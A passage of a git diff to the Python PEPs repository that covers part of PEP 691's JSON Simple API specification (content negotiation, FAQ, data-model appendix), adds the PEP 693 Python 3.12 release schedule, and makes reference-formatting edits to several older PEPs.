with a higher quality has priority over an entry with a lower quality, +and any entry without a quality present will default to a quality of ``1``. + +However, clients should keep in mind that a server is free to select **any** of +the content types they've asked for, regardless of their requested priority, and +it may even return a content type that they did **not** ask for. + +To aid clients in determining the content type of the response that they have +received from an API request, this PEP requires that servers always include a +``Content-Type`` header indicating the content type of the response. This is +technically a backwards incompatible change, however in practice +`pip has been enforcing this requirement `_ +so the risks for actual breakages is low. + +An example of how a client can operate would look like: + +.. code-block:: python + + import email.message + import requests + + def parse_content_type(header: str) -> str: + m = email.message.Message() + m["content-type"] = header + return m.get_content_type() + + # Construct our list of acceptable content types, we want to prefer + # that we get a v1 response serialized using JSON, however we also + # can support a v1 response serialized using HTML. For compatibility + # we also request text/html, but we prefer it least of all since we + # don't know if it's actually a Simple API response, or just some + # random HTML page that we've gotten due to a misconfiguration. + CONTENT_TYPES = [ + "application/vnd.pypi.simple.v1+json", + "application/vnd.pypi.simple.v1+html;q=0.2", + "text/html;q=0.01", # For legacy compatibility + ] + ACCEPT = ", ".join(CONTENT_TYPES) + + + # Actually make our request to the API, requesting all of the content + # types that we find acceptable, and letting the server select one of + # them out of the list. + resp = requests.get("https://pypi.org/simple/", headers={"Accept": ACCEPT}) + + # If the server does not support any of the content types you requested, + # AND it has chosen to return a HTTP 406 error instead of a default + # response then this will raise an exception for the 406 error. + resp.raise_for_status() + + + # Determine what kind of response we've gotten to ensure that it is one + # that we can support, and if it is, dispatch to a function that will + # understand how to interpret that particular version+serialization. If + # we don't understand the content type we've gotten, then we'll raise + # an exception. + content_type = parse_content_type(resp.headers.get("content-type", "")) + match content_type: + case "application/vnd.pypi.simple.v1+json": + handle_v1_json(resp) + case "application/vnd.pypi.simple.v1+html" | "text/html": + handle_v1_html(resp) + case _: + raise Exception(f"Unknown content type: {content_type}") + +If a client wishes to only support HTML or only support JSON, then they would +just remove the content types that they do not want from the ``Accept`` header, +and turn receiving them into an error. + + +Alternative Negotiation Mechanisms +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +While using HTTP's Content negotiation is considered the standard way for a client +and server to coordinate to ensure that the client is getting an HTTP response that +it is able to understand, there are situations where that mechanism may not be +sufficient. For those cases this PEP has alternative negotiation mechanisms that +may *optionally* be used instead. + + +URL Parameter +^^^^^^^^^^^^^ + +Servers that implement the Simple API may choose to support an URL parameter named +``format`` to allow the clients to request a specific version of the URL. + +The value of the ``format`` parameter should be **one** of the valid content types. +Passing multiple content types, wild cards, quality values, etc is **not** supported. + +Supporting this parameter is optional, and clients **SHOULD NOT** rely on it for +interacting with the API. This negotiation mechanism is intended to allow for easier +human based exploration of the API within a browser, or to allow documentation or +notes to link to a specific version+format. + +Servers that do not support this parameter may choose to return an error when it is +present, or they may simple ignore its presence. + +When a server does implement this parameter, it **SHOULD** take precedence over any +values in the client's ``Accept`` header, and if the server does not support the +requested format, it may choose to fall back to the ``Accept`` header, or choose any +of the error conditions that standard server-driven content negotiation typically +has (e.g. ``406 Not Available``, ``303 Multiple Choices``, or selecting a default +type to return). + + +Endpoint Configuration +^^^^^^^^^^^^^^^^^^^^^^ + +This option technically is not a special option at all, it is just a natural +consequence of using content negotiation and allowing servers to select which of the +available content types is their default. + +If a server is unwilling or unable to implement the server-driven content negotiation, +and would instead rather require users to explicitly configure their client to select +the version they want, then that is a supported configuration. + +To enable this, a server should make multiple endpoints (for instance, +``/simple/v1+html/`` and/or ``/simple/v1+json/``) for each version+format that they +wish to support. Under that endpoint, they can host a copy of their repository that +only supports one (or a subset) of the content-types. When a client makes a request +using the ``Accept`` header, the server can ignore it and return the content type +that corresponds to that endpoint. + +For clients that wish to require specific configuration, they can keep track of +which version+format a specific repository URL was configured for, and when making +a request to that server, emit an ``Accept`` header that *only* includes the correct +content type. + + +TUF Support - PEP 458 +--------------------- + +:pep:`458` requires that all API responses are hashable and that they can be uniquely +identified by a path relative to the repository root. For a Simple API repository, the +target path is the Root of our API (e.g. ``/simple/`` on PyPI). This creates +challenges when accessing the API using a TUF client instead of directly using a +standard HTTP client, as the TUF client cannot handle the fact that a target could +have multiple different representations that all hash differently. + +:pep:`458` does not specify what the target path should be for the Simple API, but +TUF requires that the target paths be "file-like", in other words, a path like +``simple/PROJECT/`` is not acceptable, because it technically points to a +directory. + +The saving grace is that the target path does not *have* to actually match the URL +being fetched from the Simple API, and it can just be a sigil that the fetching code +knows how to transform into the actual URL that needs to be fetched. This same thing +can hold true for other aspects of the actual HTTP request, such as the ``Accept`` +header. + +Ultimately figuring out how to map a directory to a filename is out of scope for this +PEP (but it would be in scope for :pep:`458`), and this PEP defers making a decision +about how exactly to represent this inside of :pep:`458` metadata. + +However, it appears that the current WIP branch against pip that attempts to implement +:pep:`458` is using a target path like ``simple/PROJECT/index.html``. This could be +modified to include the API version and serialization format using something like +``simple/PROJECT/vnd.pypi.simple.vN.FORMAT``. So the v1 HTML format would be +``simple/PROJECT/vnd.pypi.simple.v1.html`` and the v1 JSON format would be +``simple/PROJECT/vnd.pypi.simple.v1.json``. + +In this case, since ``text/html`` is an alias to ``application/vnd.pypi.simple.v1+html`` +when interacting through TUF, likely it will make the most sense to normalize to the +more explicit name. + +Likewise the ``latest`` metaversion should not be included in the targets, only +explicitly declared versions should be supported. + + +Recommendations +=============== + +This section is non-normative, and represents what the PEP authors believe to be +the best default implementation decisions for something implementing this PEP, but +it does **not** represent any sort of requirement to match these decisions. + +These decisions have been chosen to maximize the number of requests that can be +moved onto the newest version of an API, while maintaining the greatest amount +of compatibility. In addition, they've also tried to make using the API provide +guardrails that attempt to push clients into making the best choices it can. + +It is recommended that servers: + +- Support all 3 content types described in this PEP, using server-driven + content negotiation, for as long as they reasonably can, or at least as + long as they're receiving non trivial traffic that uses the HTML responses. + +- When encountering an ``Accept`` header that does not contain any content types + that it knows how to work with, the server should not ever return a + ``300 Multiple Choice`` response, and instead return a ``406 Not Acceptable`` + response. + + - However, if choosing to use the endpoint configuration, you should prefer to + return a ``200 OK`` response in the expected content type for that endpoint. + +- When selecting an acceptable version, the server should choose the highest version + that the client supports, with the most expressive/featureful serialization format, + taking into account the specificity of the client requests as well as any + quality priority values they have expressed, and it should only use the + ``text/html`` content type as a last resort. + +It is recommended that clients: + +- Support all 3 content types described in this PEP, using server-driven + content negotiation, for as long as they reasonably can. + +- When constructing an ``Accept`` header, include all of the content types + that you support. + + You should generally *not* include a quality priority value for your content + types, unless you have implementation specific reasons that you want the + server to take into account (for example, if you're using the standard library + HTML parser and you're worried that there may be some kinds of HTML responses + that you're unable to parse in some edge cases). + + The one exception to this recommendation is that it is recommended that you + *should* include a ``;q=0.01`` value on the legacy ``text/html`` content type, + unless it is the only content type that you are requesting. + +- Explicitly select what versions they are looking for, rather than using the + ``latest`` meta version during normal operation. + +- Check the ``Content-Type`` of the response and ensure it matches something + that you were expecting. + + +FAQ +=== + +Does this mean PyPI is planning to drop support for HTML/PEP 503? +----------------------------------------------------------------- + +No, PyPI has no plans at this time to drop support for :pep:`503` or HTML +responses. + +While this PEP does give repositories the flexibility to do that, that largely +exists to ensure that things like using the Endpoint Configuration mechanism is +able to work, and to ensure that clients do not make any assumptions that would +prevent, at some point in the future, gracefully dropping support for HTML. + +The existing HTML responses incur almost no maintenance burden on PyPI and +there is no pressing need to remove them. The only real benefit to dropping them +would be to reduce the number of items cached in our CDN. + +If in the future PyPI *does* wish to drop support for them, doing so would +almost certainly be the topic of a PEP, or at a minimum a public, open, discussion +and would be informed by metrics showing any impact to end users. + + +Why JSON instead of X format? +----------------------------- + +JSON parsers are widely available in most, if not every, language. A JSON +parser is also available in the Python standard library. It's not the perfect +format, but it's good enough. + + +Why not add X feature? +---------------------- + +The general goal of this PEP is to change or add very little. We will instead focus +largely on translating the existing information contained within our HTML responses +into a sensible JSON representation. This will include :pep:`658` metadata required +for packaging tooling. + +The only real new capability that is added in this PEP is the ability to have +multiple hashes for a single file. That was done because the current mechanism being +limited to a single hash has made it painful in the past to migrate hashes +(md5 to sha256) and the cost of making the hashes a dictionary and allowing multiple +is pretty low. + +The API was generally designed to allow further extension through adding new keys, +so if there's some new piece of data that an installer might need, future PEPs can +easily make that available. + + +Why include the filename when the URL has it already? +----------------------------------------------------- + +We could reduce the size of our responses by removing the ``filename`` key and expecting +clients to pull that information out of the URL. + +Currently this PEP chooses not to do that, largely because :pep:`503` explicitly required +that the filename be available via the anchor tag of the links, though that was largely +because *something* had to be there. It's not clear if repositories in the wild always +have a filename as the last part of the URL or if they're relying on the filename in the +anchor tag. + +It also makes the responses slightly nicer to read for a human, as you get a nice short +unique identifier. + +If we got reasonable confidence that mandating the filename is in the URL, then we could +drop this data and reduce the size of the JSON response. + + +Why not break out other pieces of information from the filename? +---------------------------------------------------------------- + +Currently clients are expected to parse a number of pieces of information from the +filename such as project name, version, ABI tags, etc. We could break these out +and add them as keys to the file object. + +This PEP has chosen not to do that because doing so would increase the size of the +API responses, and most clients are going to require the ability to parse that +information out of file names anyways regardless of what the API does. Thus it makes +sense to keep that functionality inside of the clients. + + +Why Content Negotiation instead of multiple URLs? +------------------------------------------------- + +Another reasonable way to implement this would be to duplicate the API routes and +include some marker in the URL itself for JSON. Such as making the URLs be something +like ``/simple/foo.json``, ``/simple/_index.json``, etc. + +This makes some things simpler like TUF integration and fully static serving of a +repository (since ``.json`` files can just be written out). + +However, this is two pretty major issues: + +- Our current URL structure relies on the fact that there is an URL that represents + the "root", ``/`` to serve the list of projects. If we want to have separate URLs + for JSON and HTML, we would need to come up with some way to have two root URLs. + + Something like ``/`` being HTML and ``/_index.json`` being JSON, since ``_index`` + isn't a valid project name could work. But ``/`` being HTML doesn't work great if + a repository wants to remove support for HTML. + + Another option could be moving all of the existing HTML URLs under a namespace while + making a new namespace for JSON. Since ``//`` was defined, we would have to + make these namespaces not valid project names, so something like ``/_html/`` and + ``/_json/`` could work, then just redirect the non namespaced URLs to whatever the + "default" for that repository is (likely HTML, unless they've disabled HTML then JSON). +- With separate URLs, there's no good way to support zero configuration discovery + that a repository supports the JSON URLs without making additional HTTP requests to + determine if the JSON URL exists or not. + + The most naive implementation of this would be to request the JSON URL and fall back + to the HTML URL for *every* single request, but that would be horribly performant + and violate the goal of minimal additional HTTP requests. + + The most likely implementation of this would be to make some sort of repository level + configuration file that somehow indicates what is supported. We would have the same + namespace problem as above, with the same solution, something like ``/_config.json`` + or so could hold that data, and a client could first make an HTTP request to that, + and if it exists pull it down and parse it to learn about the capabilities of this + particular repository. +- The use of ``Accept`` also allows us to add versioning into this field + +All being said, it is the opinion of this PEP that those three issues combined make +using separate API routes a less desirable solution than relying on content +negotiation to select the most ideal representation of the data. + + +Does this mean that static servers are no longer supported? +----------------------------------------------------------- + +In short, no, static servers are still (almost) fully supported by this PEP. + +The specifics of how they are supported will depend on the static server in +question. For example: + +- **S3:** S3 fully supports custom content types, however it does not support + any form of content negotiation. In order to have a server hosted on S3, you + would have to use the "Endpoint configuration" style of negotiation, and + users would have to configure their clients explicitly. +- **GitHub Pages:** GitHub pages does not support custom content types, so the + S3 solution is not currently workable, which means that only ``text/html`` + repositories would function. +- **Apache:** Apache fully supports server-driven content negotiation, and would + just need to be configured to map the custom content types to specific extension. + + +Why not add an ``application/json`` alias like ``text/html``? +------------------------------------------------------------- + +This PEP believes that it is best for both clients and servers to be explicit +about the types of the API responses that are being used, and a content type +like ``application/json`` is the exact opposite of explicit. + +The existence of the ``text/html`` alias exists as a compromise primarily to +ensure that existing consumers of the API continue to function as they already +do. There is no such expectation of existing clients using the Simple API with +a ``application/json`` content type. + +In addition, ``application/json`` has no versioning in it, which means that +if there is ever a ``2.x`` version of the Simple API, we will be forced to make +a decision. Should ``application/json`` preserve backwards compatibility and +continue to be an alias for ``application/vnd.pypi.simple.v1+json``, or should +it be updated to be an alias for ``application/vnd.pypi.simple.v2+json``? + +This problem doesn't exist for ``text/html``, because the assumption is that +HTML will remain a legacy format, and will likely not gain *any* new features, +much less features that require breaking compatibility. So having it be an +alias for ``application/vnd.pypi.simple.v1+html`` is effectively the same as +having it be an alias for ``application/vnd.pypi.simple.latest+html``, since +``1.x`` will likely be the only HTML version to exist. + +The largest benefit to adding the ``application/json`` content type is that +there do things that do not allow you to have custom content types, and require +you to select one of their preset content types. The main example of this being +GitHub Pages, which the lack of ``application/json`` support in this PEP means +that static repositories will no longer be able to be hosted on GitHub Pages +unless GitHub adds the ``application/vnd.pypi.simple.v1+json`` content type. + +This PEP believes that the benefits are not large enough to add that content +type alias at this time, and that its inclusion would likely be a footgun +waiting for unsuspecting people to accidentally pick it up. Especially given +that we can always add it in the future, but removing things is a lot harder +to do. + + +Why add a ``application/vnd.pypi.simple.v1+html``? +-------------------------------------------------- + +The PEP expects the HTML version of the API to become legacy, so one option it +could take is not add the ``application/vnd.pypi.simple.v1+html`` content type, +and just use ``text/html`` for that. + +This PEP has decided that adding the new content type is better overall, since it +makes even the legacy format more self describing and makes them both more consistent +with each other. Overall I think it's more confusing if the ``+html`` version doesn't +exist. + + +Why v1.0 and not v1.1 or v2.0? +------------------------------ + +This PEP is still wholly backwards compatible with clients that could read the +existing v1.0 API, can still continue to read the API after these changes have +been made. In :pep:`629`, the qualification for a major version bump is: + + Incrementing the major version is used to signal a backwards incompatible + change such that existing clients would no longer be expected to be able to + meaningfully use the API. + +The changes in this PEP do not meet that bar, nothing has changed in a way that +existing clients would no longer be expected to be able to meaningfully use the +API. + +That means we should still be within the v1.x version line. + +The question of whether we should be v1.1 or v1.0 is a more interesting one, and +there are a few ways of looking at it: + +- We've exposed new features to the API (the project name on the project + page, multiple hashes), which is a sign that we should increment the minor + version. +- The new features exist wholly within the JSON serialization, which means that + no client that currently is requesting the HTML 1.0 page, would ever see any + of the new features anyways, so for them it is effectively still v1.0. +- No major client has implemented support for PEP 629 yet, which means that the + minor version numbering is largely academic at this point anyways, since it + exists to let clients provide feedback to end users. + +The second and third points above end up making the first point kind of +meaningless, and with that, it makes more sense to just call everything v1.0 +and be stricter about updating versions into the future. + + +Appendix 1: Survey of use cases to cover +======================================== + +This was done through a discussion between ``pip``, ``PyPI``, and ``bandersnarch`` +maintainers, who are the two first potential users for the new API. This is +how they use the Simple + JSON APIs today or how they currently plan to use it: + +- ``pip``: + + - List of all files for a particular release + - Metadata of each individual artifact: + + - was it yanked? (``data-yanked``) + - what's the python-requires? (``data-python-requires``) + - what's the hash of this file? (currently, hash in URL) + - Full metadata (``data-dist-info-metadata``) + - [Bonus] what are the declared dependencies, if available (list-of-strings, null if unavailable)? + +- ``bandersnatch`` - Only uses legacy JSON API + XMLRPC today: + + - Generates Simple HTML rather than copying from PyPI + + - Maybe this changes with the new API and we verbatim pull these API assets from PyPI + + - List of all files for a particular release. + + - Workout URL for release files to download + + - Metadata of each individual artifact. + + - Write out the JSON to mirror storage today (disk/S3) + + - Required metadata used + (via `Package class `__): + + - ``metadata["info"]`` + - ``metadata["last_serial"]`` + - ``metadata["releases"]`` + + - digests + - URL + + - XML-RPC calls (we'd love to deprecate - but we don't think should go in the Simple API) + + - [Bonus] Get packages since serial X (or all) + + - XML-RPC Call: ``changelog_since_serial`` + + - [Bonus] Get all packages with serial + + - XML-RPC Call: ``list_packages_with_serial`` + + +Appendix 2: Rough Underlying Data Models +======================================== + +These are not intended to perfectly match the server, client, or wire +formats. Rather, these are conceptual models, put to code to make them +more explicit as to the abstract models underlining the repository API +as it evolved through :pep:`503`, :pep:`529`, :pep:`629`, :pep:`658`, +and now this PEP, :pep:`691`. + +The existing HTML, and the new JSON serialization of these models then +represent how these underlying conceptual models get mapped onto the +actual wire formats. + +How servers or clients choose to model this data is out of scope for +this PEP. + +.. code-block:: python + + @dataclass + class Meta: + api_version: Literal["1.0"] + + + @dataclass + class Project: + # Normalized or Non-Normalized Name + name: str + # Computed in JSON, Included in HTML + url: str | None + + + @dataclass + class File: + filename: str + url: str + # Limited to a len() of 1 in HTML + hashes: dict[str, str] + gpg_sig: bool | None + requires_python: str | None + + + @dataclass + class PEP529File(File): + yanked: bool | str + + @dataclass + class PEP658File(PEP529File): + # Limited to a len() of 1 in HTML + dist_info_metadata: bool | dict[str, str] + + + # Simple Index page (/simple/) + @dataclass + class PEP503_Index: + projects: set[Project] + + + @dataclass + class PEP629_Index(PEP503_Index): + meta: Meta + + + @dataclass + class Index(PEP629_Index): + pass + + + # Simple Detail page (/simple/$PROJECT/) + @dataclass + class PEP503_Detail: + files: set[File] + + + @dataclass + class PEP529_Detail(PEP503_Detail): + files: set[PEP529File] + + + @dataclass + class PEP629_Detail(PEP529_Detail): + meta: Meta + + + @dataclass + class PEP658_Detail(PEP629_Detail): + files: set[PEP658File] + + + @dataclass + class PEP691_Detail(PEP658_Detail): + name: str # Normalized Name + + + @dataclass + class Detail(PEP691_Detail): + pass + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0693.rst b/pep-0693.rst new file mode 100644 index 00000000000..41f0b0b0645 --- /dev/null +++ b/pep-0693.rst @@ -0,0 +1,92 @@ +PEP: 693 +Title: Python 3.12 Release Schedule +Author: Thomas Wouters +Status: Draft +Type: Informational +Content-Type: text/x-rst +Created: 24-May-2022 +Python-Version: 3.12 + + +Abstract +======== + +This document describes the development and release schedule for +Python 3.12. The schedule primarily concerns itself with PEP-sized +items. + +.. Small features may be added up to the first beta + release. Bugs may be fixed until the final release, + which is planned for October 2023. + + +Release Manager and Crew +======================== + +- 3.12 Release Manager: Thomas Wouters +- Windows installers: Steve Dower +- Mac installers: Ned Deily +- Documentation: Julien Palard + + +Release Schedule +================ + +3.12.0 schedule +--------------- + +Note: the dates below use a 17-month development period that results +in a 12-month release cadence between major versions, as defined by +:pep:`602`. + +Actual: + +- 3.12 development begins: Monday, 2022-05-08 + +Expected: + +- 3.12.0 alpha 1: Monday, 2022-10-03 +- 3.12.0 alpha 2: Monday, 2022-11-07 +- 3.12.0 alpha 3: Monday, 2022-12-05 +- 3.12.0 alpha 4: Monday, 2023-01-09 +- 3.12.0 alpha 5: Monday, 2023-02-06 +- 3.12.0 alpha 6: Monday, 2023-03-06 +- 3.12.0 alpha 7: Monday, 2023-04-03 +- 3.12.0 beta 1: Monday, 2023-05-08 + (No new features beyond this point.) +- 3.12.0 beta 2: Monday, 2023-05-29 +- 3.12.0 beta 3: Monday, 2023-06-19 +- 3.12.0 beta 4: Monday, 2023-07-10 +- 3.12.0 candidate 1: Monday, 2023-07-31 +- 3.12.0 candidate 2: Monday, 2023-09-04 +- 3.12.0 final: Monday, 2023-10-02 + +Subsequent bugfix releases every two months. + + +3.12 Lifespan +------------- + +3.12 will receive bugfix updates approximately every 2 months for +approximately 18 months. Some time after the release of 3.13.0 final, +the ninth and final 3.12 bugfix update will be released. After that, +it is expected that security updates (source only) will be released +until 5 years after the release of 3.12.0 final, so until approximately +October 2028. + + +Features for 3.12 +================= + +Some of the notable features of Python 3.12 include: + + ** TBD ** + + +Copyright +========= + +This document is placed in the public domain or under the CC0-1.0-Universal +license, whichever is more permissive. + + diff --git a/pep-0754.txt b/pep-0754.txt index 9282f198815..d10565fc52d 100644 --- a/pep-0754.txt +++ b/pep-0754.txt @@ -2,7 +2,7 @@ PEP: 754 Title: IEEE 754 Floating Point Special Values Version: $Revision$ Last-Modified: $Date$ -Author: Gregory R. Warnes (Pfizer, Inc.) +Author: Gregory R. Warnes Status: Rejected Type: Standards Track Content-Type: text/x-rst diff --git a/pep-3000.txt b/pep-3000.txt index 2827689f488..af3ee070a5e 100644 --- a/pep-3000.txt +++ b/pep-3000.txt @@ -35,11 +35,11 @@ files. PEP Numbering ============= -Python 3000 PEPs are numbered starting at PEP 3000. PEPs 3000-3099 +Python 3000 PEPs are numbered starting at :pep:`3000`. PEPs 3000-3099 are meta-PEPs -- these can be either process or informational PEPs. -PEPs 3100-3999 are feature PEPs. PEP 3000 itself (this PEP) is +PEPs 3100-3999 are feature PEPs. :pep:`3000` itself (this PEP) is special; it is the meta-PEP for Python 3000 meta-PEPs (IOW it describe -the process to define processes). PEP 3100 is also special; it's a +the process to define processes). :pep:`3100` is also special; it's a laundry list of features that were selected for (hopeful) inclusion in Python 3000 before we started the Python 3000 process for real. PEP 3099, finally, is a list of features that will *not* change. @@ -48,7 +48,7 @@ Python 3000 before we started the Python 3000 process for real. PEP Timeline ======== -See PEP 361 [#pep361]_, which contains the release schedule for Python +See :pep:`361`, which contains the release schedule for Python 2.6 and 3.0. These versions will be released in lockstep. Note: standard library development is expected to ramp up after 3.0a1 @@ -149,9 +149,6 @@ References .. [2] Joel on Software: Things You Should Never Do, Part I http://www.joelonsoftware.com/articles/fog0000000069.html -.. [#pep361] PEP 361 (Python 2.6 and 3.0 Release Schedule) - http://www.python.org/dev/peps/pep-0361 - Copyright ========= diff --git a/pep-3003.txt b/pep-3003.txt index 2c5c87b4583..d26fcc2fa78 100644 --- a/pep-3003.txt +++ b/pep-3003.txt @@ -122,7 +122,7 @@ Allowed to Change * Backports of 3.x features to 2.x The moratorium only affects features that would be new in 3.x. * Import semantics - For example, PEP 382. After all, import semantics vary between + For example, :pep:`382`. After all, import semantics vary between Python implementations anyway. diff --git a/pep-3099.txt b/pep-3099.txt index d0a3af2e176..f76d4a24a3f 100644 --- a/pep-3099.txt +++ b/pep-3099.txt @@ -149,8 +149,8 @@ Core language * The ``else`` clause in ``while`` and ``for`` loops will not change semantics, or be removed. - Thread: "for/except/else syntax" - https://mail.python.org/pipermail/python-ideas/2009-October/006083.html + Thread: "for/except/else syntax" + https://mail.python.org/pipermail/python-ideas/2009-October/006083.html Builtins diff --git a/pep-3100.txt b/pep-3100.txt index 1143078abc9..feb50a6fc6b 100644 --- a/pep-3100.txt +++ b/pep-3100.txt @@ -13,7 +13,7 @@ Post-History: Abstract ======== -This PEP, previously known as PEP 3000, describes smaller scale changes +This PEP, previously known as :pep:`3000`, describes smaller scale changes and new features for which no separate PEP is written yet, all targeted for Python 3000. @@ -29,7 +29,7 @@ decisions for which changes are listed in this document are made by Guido van Rossum, who has chosen them as goals for Python 3.0. Guido's pronouncements on things that will not change in Python 3.0 -are recorded in PEP 3099. [#pep3099]_ +are recorded in :pep:`3099`. General goals @@ -43,10 +43,10 @@ obvious way of doing something is enough. [1]_ Influencing PEPs ================ -* PEP 238 (Changing the Division Operator) [#pep238]_ -* PEP 328 (Imports: Multi-Line and Absolute/Relative) [#pep328]_ -* PEP 343 (The "with" Statement) [#pep343]_ -* PEP 352 (Required Superclass for Exceptions) [#pep352]_ +* :pep:`238` (Changing the Division Operator) +* :pep:`328` (Imports: Multi-Line and Absolute/Relative) +* :pep:`343` (The "with" Statement) +* :pep:`352` (Required Superclass for Exceptions) Style changes @@ -62,11 +62,11 @@ Style changes Core language ============= -* True division becomes default behavior [#pep238]_ [done] +* True division becomes default behavior :pep:`238` [done] * ``exec`` as a statement is not worth it -- make it a function [done] -* Add optional declarations for static typing [#pep3107]_ [10]_ [done] +* Add optional declarations for static typing :pep:`3107` [10]_ [done] * Support only new-style classes; classic classes will be gone [1]_ [done] -* Replace ``print`` by a function [14]_ [#pep3105]_ [done] +* Replace ``print`` by a function [14]_ :pep:`3105` [done] * The ``softspace`` attribute of files goes away. [done] * Use ``except E1, E2, E3 as err:`` if you want the error variable. [3]_ [done] * ``None`` becomes a keyword [4]_; also ``True`` and ``False`` [done] @@ -74,14 +74,14 @@ Core language * ``as`` becomes a keyword [5]_ (starting in 2.6 already) [done] * Have list comprehensions be syntactic sugar for passing an equivalent generator expression to ``list()``; as a consequence the - loop variable will no longer be exposed [#pep289]_ [done] + loop variable will no longer be exposed :pep:`289` [done] * Comparisons other than ``==`` and ``!=`` between disparate types will raise an exception unless explicitly supported by the type [6]_ [done] * floats will not be acceptable as arguments in place of ints for operations where floats are inadvertently accepted (PyArg_ParseTuple() i & l formats) * Remove from ... import * at function scope. [done] This means that functions can always be optimized and support for unoptimized functions can go away. -* Imports [#pep328]_ +* Imports :pep:`328` + Imports will be absolute by default. [done] + Relative imports must be explicitly specified. [done] + Indirection entries in ``sys.modules`` (i.e., a value of ``None`` for @@ -96,7 +96,7 @@ Core language - List comprehensions will require parentheses around the iterables. This will make list comprehensions more similar to generator comprehensions. [x for x in 1, 2] will need to be: [x for x in (1, 2)] [done] - - Lambdas may have to be parenthesized [#pep308]_ [NO] + - Lambdas may have to be parenthesized :pep:`308` [NO] * In order to get rid of the confusion between __builtin__ and __builtins__, it was decided to rename __builtin__ (the module) to builtins, and to leave @@ -112,7 +112,7 @@ Core language * The ``__nonzero__`` special method will be renamed to ``__bool__`` and have to return a bool. The typeobject slot will be called ``tp_bool`` [23]_ [done] -* Dict comprehensions, as first proposed in [#pep274]_ [done] +* Dict comprehensions, as first proposed in :pep:`274` [done] {K(x): V(x) for x in S if P(x)} means dict((K(x), V(x)) for x in S if P(x)). To be removed: @@ -120,7 +120,7 @@ To be removed: * String exceptions: use instances of an Exception class [2]_ [done] * ``raise Exception, "message"``: use ``raise Exception("message")`` [12]_ [done] -* ```x```: use ``repr(x)`` [2]_ [done] +* ``x``: use ``repr(x)`` [2]_ [done] * The ``<>`` operator: use ``!=`` instead [3]_ [done] * The __mod__ and __divmod__ special methods on float. [they should stay] [21]_ * Drop unbound methods [7]_ [25]_ [done] @@ -147,7 +147,7 @@ Atomic Types * Remove distinction between int and long types; 'long' built-in type and literals with 'L' or 'l' suffix disappear [1]_ [done] * Make all strings be Unicode, and have a separate bytes() type [1]_ - The new string type will be called 'str'. See PEP 3137. [done] + The new string type will be called 'str'. See :pep:`3137`. [done] * Return iterable views instead of lists where appropriate for atomic type methods (e.g. ``dict.keys()``, ``dict.values()``, ``dict.items()``, etc.); iter* methods will be removed. [done] @@ -176,7 +176,7 @@ Built-in Namespace * Introduce ``trunc()``, which would call the ``__trunc__()`` method on its argument; suggested use is for objects like float where calling ``__int__()`` has data loss, but an integral representation is still desired? [8]_ [done] -* Exception hierarchy changes [#pep352]_ [done] +* Exception hierarchy changes :pep:`352` [done] * Add a ``bin()`` function for a binary representation of integers [done] To be removed: @@ -202,7 +202,7 @@ Standard library * Move test code to where it belongs, there will be no more test() functions in the standard library * Convert all tests to use either doctest or unittest. -* For the procedures of standard library improvement, see PEP 3001 [#pep3001]_ +* For the procedures of standard library improvement, see :pep:`3001` To be removed: @@ -212,7 +212,7 @@ To be removed: - ``macfs`` [to do] - ``new``, ``reconvert``, ``stringold``, ``xmllib``, ``pcre``, ``pypcre``, ``strop`` [all done] - + see PEP 4 [#pep4]_ + + see :pep:`4` - ``buildtools``, ``mimetools``, ``multifile``, @@ -222,7 +222,7 @@ To be removed: ``sha``, ``statcache``, ``sv``, ``TERMIOS``, ``timing`` [done] - ``cfmfile``, ``gopherlib``, ``md5``, ``MimeWriter``, ``mimify`` [done] - ``cl``, ``sets``, ``xreadlines``, ``rotor``, ``whrandom`` [done] - + Everything in lib-old [#pep4]_ [done] + + Everything in lib-old :pep:`4` [done] - ``Para``, ``addpack``, ``cmp``, ``cmpcache``, ``codehack``, ``dircmp``, ``dump``, ``find``, ``fmt``, ``grep``, ``lockfile``, ``newdir``, ``ni``, ``packmail``, ``poly``, @@ -234,7 +234,7 @@ To be removed: not thread-safe; use ``sys.exc_info()`` or an attribute of the exception [2]_ [11]_ [#sys-module]_ [done] * ``sys.exc_clear``: Python 3's except statements provide the same - functionality [24]_ [#pep3110]_ [#sys-module]_ [done] + functionality [24]_ :pep:`3110` [#sys-module]_ [done] * ``array.read``, ``array.write`` [#array-module]_ * ``operator.isCallable`` : ``callable()`` built-in is being removed [#operator-module]_ [#remove-operator-funcs]_ [done] @@ -364,48 +364,6 @@ References .. [#sequence-types] Python docs (Additional methods for emulation of sequence types) http://docs.python.org/reference/datamodel.html#additional-methods-for-emulation-of-sequence-types -.. [#pep4] PEP 4 ("Deprecation of Standard Modules") - http://www.python.org/dev/peps/pep-0004 - -.. [#pep238] PEP 238 (Changing the Division Operator) - http://www.python.org/dev/peps/pep-0238 - -.. [#pep274] PEP 274 (Dict Comprehensions) - http://www.python.org/dev/peps/pep-0274 - -.. [#pep289] PEP 289 ("Generator Expressions") - http://www.python.org/dev/peps/pep-0289 - -.. [#pep299] PEP 299 ("Special __main__() function in modules") - http://www.python.org/dev/peps/pep-0299 - -.. [#pep308] PEP 308 ("Conditional Expressions") - http://www.python.org/dev/peps/pep-0308 - -.. [#pep328] PEP 328 (Imports: Multi-Line and Absolute/Relative) - http://www.python.org/dev/peps/pep-0328 - -.. [#pep343] PEP 343 (The "with" Statement) - http://www.python.org/dev/peps/pep-0343 - -.. [#pep352] PEP 352 (Required Superclass for Exceptions) - http://www.python.org/dev/peps/pep-0352 - -.. [#pep3001] PEP 3001 (Process for reviewing and improving standard - library modules) http://www.python.org/dev/peps/pep-3001 - -.. [#pep3099] PEP 3099 (Things that will Not Change in Python 3000) - http://www.python.org/dev/peps/pep-3099 - -.. [#pep3105] PEP 3105 (Make print a function) - http://www.python.org/dev/peps/pep-3105 - -.. [#pep3107] PEP 3107 (Function Annotations) - http://www.python.org/dev/peps/pep-3107 - -.. [#pep3110] PEP 3110 (Catching Exceptions in Python 3000) - http://www.python.org/dev/peps/pep-3110/#semantic-changes - .. [#builtin] Approach to resolving __builtin__ vs __builtins__ https://mail.python.org/pipermail/python-3000/2007-March/006161.html diff --git a/pep-3101.txt b/pep-3101.txt index bef669afe71..6b4fcc90ed3 100644 --- a/pep-3101.txt +++ b/pep-3101.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 16-Apr-2006 Python-Version: 3.0 -Post-History: 28-Apr-2006, 6-May-2006, 10-Jun-2007, 14-Aug-2007, 14-Sep-2008 +Post-History: 28-Apr-2006, 06-May-2006, 10-Jun-2007, 14-Aug-2007, 14-Sep-2008 Abstract 